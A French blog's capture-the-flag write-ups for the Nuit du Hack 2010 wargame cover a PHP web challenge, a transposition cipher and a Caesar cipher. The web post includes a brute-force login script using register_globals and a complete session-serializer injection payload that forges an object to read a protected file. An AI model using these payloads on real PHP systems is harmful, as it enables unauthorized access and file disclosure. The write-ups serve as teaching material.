<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIF8How5QGCV-LI45ZyepH-A54UNuvmg8jgl81mFODeA8X5awRA8JA_xJpblMrddkydqP4Wva4Gl2Wzo9DmKVJaIKOY1ZEa3Kej5fgRD3_yc2KUdaizhz232RighOvRaBUUY6LLaTGxcE/s1600/lsb_example.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIF8How5QGCV-LI45ZyepH-A54UNuvmg8jgl81mFODeA8X5awRA8JA_xJpblMrddkydqP4Wva4Gl2Wzo9DmKVJaIKOY1ZEa3Kej5fgRD3_yc2KUdaizhz232RighOvRaBUUY6LLaTGxcE/s320/lsb_example.png" width="320" /></a></div>
<center>
<br /></center>
ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com6tag:blogger.com,1999:blog-7133158144968101578.post-42048064274189134762011-01-18T06:44:00.000-08:002013-05-14T00:38:08.187-07:00NDH WebApp Epreuve 8Dans la catégorie WebApp du <a href="http://wargame.nuitduhack.com/">challenge public</a> de la <a href="http://www.nuitduhack.com/">NDH</a>, je ne parlerai que de l'<a href="http://wargame.nuitduhack.com/epreuves/web/0sqddsGH56/">épreuve 8</a>, car on peut trouver des explications sur toutes les autres soit sur le blog de <a href="http://blog.nibbles.fr/1944">nibbles</a> soit sur le blog de <a href="http://thelsd.free.fr/?p=76">The lsd</a> (Enjoy).<br />
<br />
Cette épreuve a été réalisée par <a href="http://niklosweb.free.fr/">NiklosKoda</a> et comme toujours avec lui, c'est une belle réussite qui nous montre à quel point un code apparemment simple peut malgré tout être vulnérable. D'autres épreuves de NiklosKoda peuvent être trouvées sur le site de <a href="http://www.newbiecontest.org/">newbiecontest</a> comme <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=220">WarezManiac</a>, <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=212">WebGalerie</a> et la fabuleuse <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=237">Randy's Forum</a> (nécessite un compte). Une fois ces épreuves réalisées, je vous conseille d'aller faire un tour sur <a href="http://www.w3challs.com/">W3challs</a>.<br />
<br />
Bon maintenant que la pub est terminée, je vais pouvoir attaquer cette fameuse épreuve. Pour commencer les <a href="http://wargame.nuitduhack.com/epreuves/web/0sqddsGH56/web8.tar">sources</a> du site sont disponibles et ça en général ça veut dire qu'on a intérêt à être calé en <a href="http://www.php-security.org/">bugs PHP</a> ou en comportements un peu exotiques... <br />
<br />
Première étape, on se munit d'un <a href="http://www.getmantra.com/tools/index.html">firefox bien configuré</a> avec en particulier l'extension <a href="http://code.google.com/p/hackbar/">HackBar </a> puis on va essayer de monter en local le site pour qu'il soit au maximum similaire à celui de l'épreuve (ce n'est pas nécessaire, mais ça aide bien pour faire des tests). Avec un peu de chance la version de <a href="http://www.php.net/">PHP</a> apparaît dans l'<a href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields">en-tête HTTP</a> ou dans les fichiers d'erreur du serveur.<br />
<br />
<pre class="brush:html">time0ut# curl -D - http://wargame.nuitduhack.com:8084/time.0ut
HTTP/1.1 404 Not Found
Date: Wed, 12 Jan 2011 19:58:34 GMT
Server: Apache/2.2.15
Vary: Accept-Encoding
Content-Length: 206
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /time.0ut was not found on this server.</p></pre>
<br />
Bon bin ici, pas de chance on a aucune information sur PHP... la configuration a été faite pour <a href="http://www.time0ut.org/blog/linux/cacher-sa-version-dapachephp/">filtrer</a> ce genre d'informations... On va fonctionner en aveugle. Les différents challenges précédents tournaient avec un PHP 5.x, on va faire de même.<br />
<br />
Maintenant à quoi ressemble ces sources :<br />
<pre class="brush:bash">time0ut# ls -lRA
.:
total 12
-rw-r----- 1 time0ut www-data 794 2011-01-10 23:44 admin.php
-rw-r----- 1 time0ut www-data 663 2010-12-31 00:40 index.php
drwxr-x--- 2 time0ut www-data 4096 2011-01-11 22:36 noway
./noway:
total 20
-rw-r----- 1 time0ut www-data 4561 2011-01-09 23:18 config.inc.php
-rw-r----- 1 time0ut www-data 16 2010-12-31 00:40 .htaccess
-rw-r----- 1 time0ut www-data 31 2011-01-11 22:36 th3_fl4g_is_h3rE.php
-rw-r----- 1 time0ut www-data 208 2010-12-31 00:40 websites.txt
time0ut# cat noway/.htaccess
deny from all
</pre>
<br />
On remarque immédiatement le fichier <code>th3_fl4g_is_h3rE.php</code> qui contient le Saint Graal, bien protégé par un <code>.htaccess</code>. Bien entendu, le vrai contenu ne se trouve pas dans les sources, mais c'est l'objectif de l'épreuve : lire le contenu de ce fichier. <br />
Après une analyse rapide du code source, on remarque que la seule fonction qui va nous permettre de voir le contenu de ce fichier est <code>file_get_contents</code>, appelée dans le destructeur de la classe <code>MultiWebSiteHandler</code>. Cette classe est appelée dans <code>admin.php</code>, il va donc falloir avant devenir administrateur sur le site.<br />
<br />
La première étape va consister à passer l'authentification de <code>index.php</code>. Pour cela il faut traverser le check suivant :<br />
<br />
<pre class="brush:php">require_once './noway/config.inc.php';
...
if ( isset($_POST['login'], $_POST['pass']) && is_string($_POST['login']) && !empty($_POST['login']) && ctype_alnum($_POST['login']) && is_string($_POST['pass']) && !empty($_POST['pass']) && ctype_alnum($_POST['pass']) )
{
$login = trim($_POST['login']);
$pass = trim($_POST['pass']);
if( $login == $config['login'] && $pass == $config['pass'] )
{
$sess->connectMe();
$sess->goToAdmin();
</pre>
La variable <code>$config</code> se trouve dans le fichier <code>noway/config.inc.php</code> et est initialisée comme suit (bien entendu les valeurs réelles ont été modifiées) :<br />
<br />
<pre class="brush:php">$config['login'] = 'some_login_you_cant_guess...';
$config['pass'] = 'some_pass_youll_never_find...';
...</pre>
<br />
<br />
Ici pas de connexion à une base de données, aucune <a href="http://www.owasp.org/index.php/SQL_Injection">SQL injection</a>... il faut se creuser la tête.<br />
<br />
Qu'affiche le code suivant ?<br />
<pre lang="php">$var = "some_text";
$var["foo"] = "Hello World !";
echo $var["foo"];
?>
</pre>
Il affiche H !<br />
Quelques explications ici sont nécessaires : Dans l'affectation <em>$var["foo"] = "Hello World !";</em> <code>$var</code> est une chaîne de caractère et non un tableau. Du coup la chaine <em>"foo"</em> est implicitement transformée en entier et devient 0. <code>$var["foo"]</code> représente donc le premier caractère de la chaîne <code>$var</code>, soit H. Plus d'informations <a href="http://www.php-security.org/2010/05/17/mops-submission-06-variable-initialization-in-php/index.html">ici</a>.<br />
<br />
Dans le cas qui nous intéresse, si on passe <code>config</code> dans la requête HTTP (GET, POST ou COOKIE), on transforme donc $config en chaîne de caractères (seulement si <a href="http://en.wikibooks.org/wiki/PHP_Programming/Register_Globals">register_globals</a> est à ON) et donc $config['login'] sera égal à $config['pass'] qui sera égal à $config[0] et qui sera au final égal au premier caractère de <em>'some_pass_youll_never_find...'</em>.<br />
D'après le test fait dans <code>index.php</code>, 'some_pass_youll_never_find...' ne peut contenir que des caractères alphanumériques (ctype_alnum), donc au final il n'y a que 62 possibilités pour trouver la valeur <code>$config['pass']</code> si <code>config</code> est passée en paramètre.<br />
<br />
Un petit brute force permet de rapidement tester l'ensemble des possibilités :<br />
<br />
<pre class="brush:python">#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib, urllib2, re, cookielib
def bf_become_admin():
# Seuls caracteres possibles pour le login et le pass
alphabet="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
pattern = re.compile(r".*somehow.*",re.M);
for char in range(len(alphabet)):
#for pwd in range(len(alphabet)):
# En mettant une valeur a config, ca devient une chaine de caractere et plus un tableau, du coup on teste juste le premier caractere
# $config['login'] = 'some_login_you_cant_guess...'; devient $config[0] = 's';
data = "config=some_text&login="+alphabet[char]+"&pass="+alphabet[char];
req = urllib2.Request('http://wargame.nuitduhack.com:8084/index.php',data);
r = urllib2.urlopen(req);
d = r.read();
if pattern.search(d) == None:
print "Char: ",alphabet[char]
return;
bf_become_admin();
</pre>
<br />
<br />
Le caractère tant attendue est 3. Ce qui veut dire qu'un simple POST de ce type <code>config=some_text&login=3&pass=3</code> sur la page <code>index.php</code> permet de devenir administrateur sur le site.<br />
<br />
<u>Remarque:</u> A noter que <code>empty("0")</code> retourne vrai et donc si le mot de passe avait commencé par "0", le test de <code>index.php</code> ne serait pas passé, et il n'aurait pas été possible d'exploiter la faille.<br />
<br />
Maintenant qu'il est possible d'être administrateur, il faut réussir à lire le flag. A première vue, ça va être compliquée car le chemin du fichier lu est écrit en dur dans le constructeur de la classe <code>MultiWebSiteHandler </code>définie dans <code>config.inc.php</code>.<br />
<br />
<pre class="brush:php">$this->file = realpath('.').'/noway/websites.txt';</pre>
<br />
<br />
A priori impossible de modifier cela...<br />
<br />
Commençons par essayer de comprendre dans quelles circonstances ce fichier va être lu. Comme dit précédemment il est lu par la fonction <code>file_get_contents</code> qui est appelée par la fonction <code>parse</code>, dans le destructeur de la classe <code>MultiWebSiteHandler</code>. Donc le fichier est lu quand l'objet créé dans <code>admin.php</code> est détruit, donc à la fin d'<code>admin.php</code>. Il faudrait être capable d'appeler le destructeur de l'objet, mais sans appeler le constructeur... pire, il faudrait être capable de créer l'objet que l'on veut, et qu'il soit ensuite détruit...<br />
<br />
Là encore, il faut se creuser la tête... et faire des recherches sur le net, notamment sur le site <a href="http://www.php-security.org/index.html">the Month of PHP Security</a>. Après de longues recherches et quelques litres de café, on tombe sur ce <a href="http://www.php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/index.html">lien</a> qui parle d'un bug PHP spécifique à certaines versions (5.2 <= 5.2.13 et 5.3 <= 5.3.2) et dont le but est de corrompre le fichier de sessions de PHP. Bon on ne sait pas si la version de PHP utilisée correspond, mais on a rien d'autre à se mettre sous la dent.<br />
<br />
L'idée est simple (en tout cas après coup c'est simple :D), quand une session est créée par PHP, il construit un fichier dans lequel il sauvegardera toutes les données de session (les données seront <a href="http://php.net/manual/en/function.serialize.php">serialisées</a>). Lorsqu'une nouvelle page aura besoin de ces données, le fichier sera lu et les données seront <a href="http://php.net/manual/en/function.unserialize.php">déserialisées</a>. Certaines versions de PHP ont un bug qui fait qu'il est possible dans des conditions très particulières, de corrompre ce fichier de session pour que quand il est relu par PHP, de nouvelles variables de session soient créées. Grâce à cela il devrait être possible de forger l'objet que l'on souhaite (sans appeler le constructeur puisque celui ci sera issue d'une sois disant sauvegarde de session).<br />
<br />
Pour que l'<a href="http://www.php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/index.html">exploitation </a>de la vulnérabilité soit possible, il est nécessaire de pouvoir créer une variable de session (ça c'est classique), mais surtout de pouvoir choisir le nom de cette variable (ça c'est de suite moins commun). L'exploit consiste ensuite à faire commencer le nom de la variable par un "!" (<code>PS_UNDEF_MARKER</code>), du coup PHP s'embrouille dans son parsing du fichier. Heureusement ici, c'est le cas dans le fichier <code>admin.php</code> :<br />
<br />
<pre class="brush:php">...
if( isset($_GET['site'], $_GET['sessAdmin'], $_GET['sessValue']) && is_string($_GET['site']) && is_string($_GET['sessAdmin']) && is_string($_GET['sessValue']) )
{
$sess->set($_GET['sessAdmin'].'_session_admin_', $_GET['sessValue'], true);
...
?></pre>
<br />
En faisant commencer la variable <code>sessAdmin </code>passée en GET avec un "!", PHP va s'embrouiller. Et il sera possible avec la variable <code>sessValue</code>, de créer notre objet (ici un <code>MultiWebSiteHandler</code> avec le paramètre file à <code>noway/th3_fl4g_is_h3rE.php</code>) qui affichera le fichier tant attendu. <code>sessValue </code>doit être de la forme <code>|nom_variable|structure_serialisée</code>.<br />
<br />
En résumé les étapes pour l'exploitation sont les suivantes :<br />
<ul><br />
<li>Action utilisateur : Authentification en tant qu'admin en passant <code>config</code> en paramètre</li>
<li>Action utilisateur : Appel de la page <code>admin.php</code> en passant les paramètres <code>sessAdmin</code> et <code>sessValue</code> structurés de la bonne façon.</li>
<li>Action PHP : Exécution du script PHP puis à la fin sauvegarde des paramètres de session dans un fichier</li>
<li>Action utilisateur : Rechargement de la page</li>
<li>Action PHP : Récupération des paramètres de session dans le fichier (et du coup récupération de variables de session malveillantes), exécution du script puis à la fin appel des destructeurs et exécution du code malveillant</li>
</ul>
La requête effectuée pour passer les paramètres <code>sessAdmin</code> et <code>sessValue</code> est la suivante :<br />
<pre class="brush:plain">
GET /admin.php?site=site1&sessAdmin=!&sessValue=|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}</pre>
<br />
<br />
Pour information dans le cas d'un appel normal lors d'un appel à la page admin.php avec les paramètres site=site1&sessAdmin=_site1_&sessValue=Admin le contenu des variables de session est :<br />
<br />
<pre class="brush:plain">_iAmFr34KinAdmin_ => 1
_site1__session_admin_ => Admin</pre>
<br />
Et le contenu du fichier de session est (le nom des variables est en bleu) :<br />
<pre class="brush:plain">
_iAmFr34KinAdmin_|b:1;_site1__session_admin_|s:5:"Admin";
</pre>
Dans le cas de notre appel malicieux, l'exploitation de la vulnérabilité aura pour objectif d'avoir un fichier de session ressemblant à ça :
<pre class="brush:plain">
_iAmFr34KinAdmin_|b:1;!_session_admin_|s:467:"|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}";
</pre>ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com2tag:blogger.com,1999:blog-7133158144968101578.post-22651213047982331912011-01-09T12:38:00.000-08:002013-05-14T00:38:08.181-07:00NDH Cryptographie Epreuve 2L'<a href="http://wargame.nuitduhack.com/epreuves/crypto/r2sxqAVLdp/epreuve.php">épreuve 2</a> de cryptographie du <a href="http://wargame.nuitduhack.com/">challenge public</a> de la <a href="http://www.nuitduhack.com/">ndh</a> 2010 demande une bonne analyse du cipher (texte chiffré). Pour commencer, il ne faut pas tomber dans le piège du HTML en récupérant le cipher. Le HTML transforme plusieurs espaces en un seul espace par défaut, du coup la résolution du problème devient bien plus ardue.<br />
<br />
Le cipher à décrypter est donc :<br />
<div class="code">
<br />
<pre>pArmpamete an, canps' aeetot pru drdahefrcief ror.P u llgef,aa tsfi e deeem mea avc lgledinu e sudssoX.XXXXXX</pre>
<br /></div>
Que nous dit l'analyse du cipher ?<br />
<ul>
<li>On trouve plusieurs classe de caractères : minuscules (en majorité), majuscule, signes de ponctuation. La fréquence de chaque classe à l'air d'être cohérente (à première vue) avec un texte classique. La position par contre n'est pas classique.</li>
<li>Il y a un ensemble de X à la fin, comme un espèce de padding.</li>
<li>L'analyse de fréquence des lettres nous dit que les lettres E et A sont les lettres qui reviennent le plus souvent, ce qui correspond <a href="http://fr.wikipedia.org/wiki/Analyse_fr%C3%A9quentielle#Fr.C3.A9quence_d.27apparition_des_lettres_en_fonction_de_la_langue">aux deux lettres les plus fréquentes en Français</a>. Bon l'analyse de fréquence avec un texte aussi court est à prendre avec des pincettes, mais ça reste une information intéressante.</li>
</ul>
Tous ces éléments ici font passer à un <a href="http://www.apprendre-en-ligne.net/crypto/transpo/rectangulaire.html">chiffre de transposition</a>. Les chiffres de transposition rectangulaire respectent la fréquence des lettres, ils ne font que mélanger l'ensemble des caractères. En plus ce chiffre nécessite un padding pour pouvoir réaliser correctement le rectangle.<br />
<br />
La longueur du cipher est 112. Pour ranger 112 caractères dans un rectangle, on a pas beaucoup de choix sur les différents rectangles possibles : <strong>56x2</strong>, <strong>28x4</strong>, <strong>16x7</strong>, <strong>14x8</strong>, <strong>8x14</strong>, <strong>7x16</strong>, <strong>4x28</strong> et <strong>2x56</strong> (<em>colonne</em> x <em>ligne</em>).<br />
<br />
De tous ces rectangles possibles, seuls les rectangles suivants mettent le padding sur la même ligne : <strong>56x2</strong>, <strong>28x4</strong>, <strong>16x7</strong>, <strong>14x8</strong> et <strong>8x14</strong>.<br />
<br />
On va commencer par le tableau <strong>8x14</strong> qui est celui qui demande la clé la plus petite (clé de 8).<br />
<center>
<br /><table><tbody>
<tr> <th>0</th> <th>1</th> <th>2</th> <th>3</th> <th>4</th> <th>5</th> <th>6</th> <th>7</th> </tr>
<tr> <td>p</td> <td>A</td> <td>r</td> <td>m</td> <td>p</td> <td>a</td> <td>m</td> <td>e</td> </tr>
<tr> <td>t</td> <td>e</td> <td></td> <td>a</td> <td>n</td> <td>,</td> <td></td> <td>c</td> </tr>
<tr> <td>a</td> <td>n</td> <td>p</td> <td>s</td> <td>'</td> <td></td> <td></td> <td>a</td> </tr>
<tr> <td>e</td> <td>e</td> <td>t</td> <td>o</td> <td>t</td> <td></td> <td>p</td> <td>r</td> </tr>
<tr> <td>u</td> <td></td> <td></td> <td></td> <td>d</td> <td>r</td> <td>d</td> <td>a</td> </tr>
<tr> <td>h</td> <td>e</td> <td>f</td> <td>r</td> <td>c</td> <td>i</td> <td>e</td> <td>f</td> </tr>
<tr> <td></td> <td>r</td> <td>o</td> <td>r</td> <td>.</td> <td>P</td> <td></td> <td>u</td> </tr>
<tr> <td></td> <td>l</td> <td>l</td> <td>g</td> <td>e</td> <td>f</td> <td>,</td> <td>a</td> </tr>
<tr> <td>a</td> <td></td> <td>t</td> <td>s</td> <td>f</td> <td>i</td> <td></td> <td>e</td> </tr>
<tr> <td></td> <td>d</td> <td>e</td> <td>e</td> <td>e</td> <td>m</td> <td></td> <td>m</td> </tr>
<tr> <td>e</td> <td>a</td> <td></td> <td>a</td> <td>v</td> <td>c</td> <td></td> <td>l</td> </tr>
<tr> <td>g</td> <td>l</td> <td>e</td> <td>d</td> <td>i</td> <td>n</td> <td>u</td> <td></td> </tr>
<tr> <td>e</td> <td></td> <td>s</td> <td>u</td> <td>d</td> <td>s</td> <td>s</td> <td>o</td> </tr>
<tr> <td>X</td> <td>.</td> <td>X</td> <td>X</td> <td>X</td> <td>X</td> <td>X</td> <td>X</td> </tr>
</tbody></table>
</center>
<br />
<br />
On remarque que la 2° colonne possède une majuscule sur la première ligne et que c'est le seul caractère différent de X sur la dernière. C'est intéressant, la 2° colonne est donc probablement en réalité la première.<br />
On recherche donc un mot commençant par un A faisant au minimum 9 caractères (il y a un E sous le A), ne possédant que les caractères A, R, P, M, E sur ces 8 premiers caractères et un E en 9° caractère. On regarde les mots du dictionnaire qui respectent cette règle :<br />
<br />
<div class="code">
<span class="prompt">time0ut# </span> grep --color -E '^a(r|p|m)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)e' dic.txt<br />
<span style="color: red;"><strong>apparemme</strong></span>nt</div>
<br />
Super ! Un seul mot correspond. De plus les deux lettres suivantes N et T se trouvent sur la deuxième ligne sous les lettres P. Tout fonctionne bien.<br />
<br />
Deux clés sont donc possibles car on ne peut pas différencier les deux M dans apparemment :<br />
<ul>
<li>1,4,0,5,2,7,3,6</li>
<li>1,4,0,5,2,7,6,3</li>
</ul>
On regarde ce que ça donne :<br />
<center>
<br /><div style="text-align: center;">
<table style="display: inline;"><tbody>
<tr><th>1</th><th>4</th><th>0</th><th>5</th><th>2</th><th>7</th><th>3</th><th>6</th></tr>
<tr><td><div style="text-align: center;">
A</div>
</td><td><div style="text-align: center;">
p</div>
</td><td><div style="text-align: center;">
p</div>
</td><td><div style="text-align: center;">
a</div>
</td><td><div style="text-align: center;">
r</div>
</td><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
m</div>
</td><td><div style="text-align: center;">
m</div>
</td></tr>
<tr><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
n</div>
</td><td><div style="text-align: center;">
t</div>
</td><td><div style="text-align: center;">
,</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
c</div>
</td><td><div style="text-align: center;">
a</div>
</td><td style="text-align: center;"></td></tr>
<tr><td><div style="text-align: center;">
n</div>
</td><td><div style="text-align: center;">
'</div>
</td><td><div style="text-align: center;">
a</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
p</div>
</td><td><div style="text-align: center;">
a</div>
</td><td><div style="text-align: center;">
s</div>
</td><td style="text-align: center;"></td></tr>
<tr><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
t</div>
</td><td><div style="text-align: center;">
e</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
t</div>
</td><td><div style="text-align: center;">
r</div>
</td><td><div style="text-align: center;">
o</div>
</td><td><div style="text-align: center;">
p</div>
</td></tr>
<tr><td style="text-align: center;"></td><td><div style="text-align: center;">
d</div>
</td><td><div style="text-align: center;">
u</div>
</td><td><div style="text-align: center;">
r</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
a</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
d</div>
</td></tr>
<tr><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
c</div>
</td><td><div style="text-align: center;">
h</div>
</td><td><div style="text-align: center;">
i</div>
</td><td><div style="text-align: center;">
f</div>
</td><td><div style="text-align: center;">
f</div>
</td><td><div style="text-align: center;">
r</div>
</td><td><div style="text-align: center;">
e</div>
</td></tr>
<tr><td><div style="text-align: center;">
r</div>
</td><td><div style="text-align: center;">
.</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
P</div>
</td><td><div style="text-align: center;">
o</div>
</td><td><div style="text-align: center;">
u</div>
</td><td><div style="text-align: center;">
r</div>
</td><td style="text-align: center;"></td></tr>
<tr><td><div style="text-align: center;">
l</div>
</td><td><div style="text-align: center;">
e</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
f</div>
</td><td><div style="text-align: center;">
l</div>
</td><td><div style="text-align: center;">
a</div>
</td><td><div style="text-align: center;">
g</div>
</td><td><div style="text-align: center;">
,</div>
</td></tr>
<tr><td style="text-align: center;"></td><td><div style="text-align: center;">
f</div>
</td><td><div style="text-align: center;">
a</div>
</td><td><div style="text-align: center;">
i</div>
</td><td><div style="text-align: center;">
t</div>
</td><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
s</div>
</td><td style="text-align: center;"></td></tr>
<tr><td><div style="text-align: center;">
d</div>
</td><td><div style="text-align: center;">
e</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
m</div>
</td><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
m</div>
</td><td><div style="text-align: center;">
e</div>
</td><td style="text-align: center;"></td></tr>
<tr><td><div style="text-align: center;">
a</div>
</td><td><div style="text-align: center;">
v</div>
</td><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
c</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
l</div>
</td><td><div style="text-align: center;">
a</div>
</td><td style="text-align: center;"></td></tr>
<tr><td><div style="text-align: center;">
l</div>
</td><td><div style="text-align: center;">
i</div>
</td><td><div style="text-align: center;">
g</div>
</td><td><div style="text-align: center;">
n</div>
</td><td><div style="text-align: center;">
e</div>
</td><td style="text-align: center;"></td><td><div style="text-align: center;">
d</div>
</td><td><div style="text-align: center;">
u</div>
</td></tr>
<tr><td style="text-align: center;"></td><td><div style="text-align: center;">
d</div>
</td><td><div style="text-align: center;">
e</div>
</td><td><div style="text-align: center;">
s</div>
</td><td><div style="text-align: center;">
s</div>
</td><td><div style="text-align: center;">
o</div>
</td><td><div style="text-align: center;">
u</div>
</td><td><div style="text-align: center;">
s</div>
</td></tr>
<tr><td><div style="text-align: center;">
.</div>
</td><td><div style="text-align: center;">
X</div>
</td><td><div style="text-align: center;">
X</div>
</td><td><div style="text-align: center;">
X</div>
</td><td><div style="text-align: center;">
X</div>
</td><td><div style="text-align: center;">
X</div>
</td><td><div style="text-align: center;">
X</div>
</td><td><div style="text-align: center;">
X</div>
</td></tr>
</tbody></table>
</div>
<br /><br /><div style="text-align: center;">
<table style="display: inline;"><tbody>
<tr><th>1</th><th>4</th><th>0</th><th>5</th><th>2</th><th>7</th><th>6</th><th>3</th></tr>
<tr><td>A</td><td>p</td><td>p</td><td>a</td><td>r</td><td>e</td><td>m</td><td>m</td></tr>
<tr><td>e</td><td>n</td><td>t</td><td>,</td><td></td><td>c</td><td></td><td>a</td></tr>
<tr><td>n</td><td>'</td><td>a</td><td></td><td>p</td><td>a</td><td></td><td>s</td></tr>
<tr><td>e</td><td>t</td><td>e</td><td></td><td>t</td><td>r</td><td>p</td><td>o</td></tr>
<tr><td></td><td>d</td><td>u</td><td>r</td><td></td><td>a</td><td>d</td><td></td></tr>
<tr><td>e</td><td>c</td><td>h</td><td>i</td><td>f</td><td>f</td><td>e</td><td>r</td></tr>
<tr><td>r</td><td>.</td><td></td><td>P</td><td>o</td><td>u</td><td></td><td>r</td></tr>
<tr><td>l</td><td>e</td><td></td><td>f</td><td>l</td><td>a</td><td>,</td><td>g</td></tr>
<tr><td></td><td>f</td><td>a</td><td>i</td><td>t</td><td>e</td><td></td><td>s</td></tr>
<tr><td>d</td><td>e</td><td></td><td>m</td><td>e</td><td>m</td><td></td><td>e</td></tr>
<tr><td>a</td><td>v</td><td>e</td><td>c</td><td></td><td>l</td><td></td><td>a</td></tr>
<tr><td>l</td><td>i</td><td>g</td><td>n</td><td>e</td><td></td><td>u</td><td>d</td></tr>
<tr><td></td><td>d</td><td>e</td><td>s</td><td>s</td><td>o</td><td>s</td><td>u</td></tr>
<tr><td>.</td><td>X</td><td>X</td><td>X</td><td>X</td><td>X</td><td>X</td><td>X</td></tr>
</tbody></table>
</div>
</center>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
On voit que la bonne clé est 1,4,0,5,2,7,3,6. Le texte déchiffré est donc :<br />
<div class="code">
Apparemment, ca n'a pas ete trop dur a dechiffrer. Pour le flag, faites de meme avec la ligne du dessous.XXXXXXX</div>
Il ne reste plus qu'à appliquer la même opération sur la deuxième ligne et obtenir le résultat.<br />
<div class="code">
1b6d0ccf12a5ccbc7d0329cd1580226f</div>
ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com3tag:blogger.com,1999:blog-7133158144968101578.post-27088196585673289472011-01-09T07:37:00.000-08:002013-05-14T00:38:08.185-07:00NDH Cryptographie Epreuve 1Je continue mon parcours sur les épreuves du <a href="http://wargame.nuitduhack.com/">challenge public</a> de la <a href="http://www.nuitduhack.com/">ndh</a> 2010. Ici on s'attaque à l'<a href="http://wargame.nuitduhack.com/epreuves/crypto/65sdSDG54D/cipher.txt">épreuve 1 de le cryptographie</a>.<br/><br/><div class="code"><br/>Xnwrk ha dwod lkqn rwhezan aop 27wz62965aawa3b0b1319y489y107y99<br/></div><br/><br/>Bon on se dit que c'est la première épreuve et que ça ne doit pas être bien difficile, on va commencer simple, voir très simple avec un simple <a href="http://www.apprendre-en-ligne.net/crypto/cesar/index.html">césar</a>.<br/><br/>
<pre class="brush:xml">time0ut# caesar.rb -b -f epreuve.txt
DEC:1 => WMVQJ GZ CVNC KJPM QVGDYZM ZNO 27VY62965ZZVZ3A0A1319X489X107X99
DEC:2 => VLUPI FY BUMB JIOL PUFCXYL YMN 27UX62965YYUY3Z0Z1319W489W107W99
DEC:3 => UKTOH EX ATLA IHNK OTEBWXK XLM 27TW62965XXTX3Y0Y1319V489V107V99
DEC:4 => TJSNG DW ZSKZ HGMJ NSDAVWJ WKL 27SV62965WWSW3X0X1319U489U107U99
DEC:5 => SIRMF CV YRJY GFLI MRCZUVI VJK 27RU62965VVRV3W0W1319T489T107T99
DEC:6 => RHQLE BU XQIX FEKH LQBYTUH UIJ 27QT62965UUQU3V0V1319S489S107S99
DEC:7 => QGPKD AT WPHW EDJG KPAXSTG THI 27PS62965TTPT3U0U1319R489R107R99
DEC:8 => PFOJC ZS VOGV DCIF JOZWRSF SGH 27OR62965SSOS3T0T1319Q489Q107Q99
DEC:9 => OENIB YR UNFU CBHE INYVQRE RFG 27NQ62965RRNR3S0S1319P489P107P99
DEC:10 => NDMHA XQ TMET BAGD HMXUPQD QEF 27MP62965QQMQ3R0R1319O489O107O99
DEC:11 => MCLGZ WP SLDS AZFC GLWTOPC PDE 27LO62965PPLP3Q0Q1319N489N107N99
DEC:12 => LBKFY VO RKCR ZYEB FKVSNOB OCD 27KN62965OOKO3P0P1319M489M107M99
DEC:13 => KAJEX UN QJBQ YXDA EJURMNA NBC 27JM62965NNJN3O0O1319L489L107L99
DEC:14 => JZIDW TM PIAP XWCZ DITQLMZ MAB 27IL62965MMIM3N0N1319K489K107K99
DEC:15 => IYHCV SL OHZO WVBY CHSPKLY LZA 27HK62965LLHL3M0M1319J489J107J99
DEC:16 => HXGBU RK NGYN VUAX BGROJKX KYZ 27GJ62965KKGK3L0L1319I489I107I99
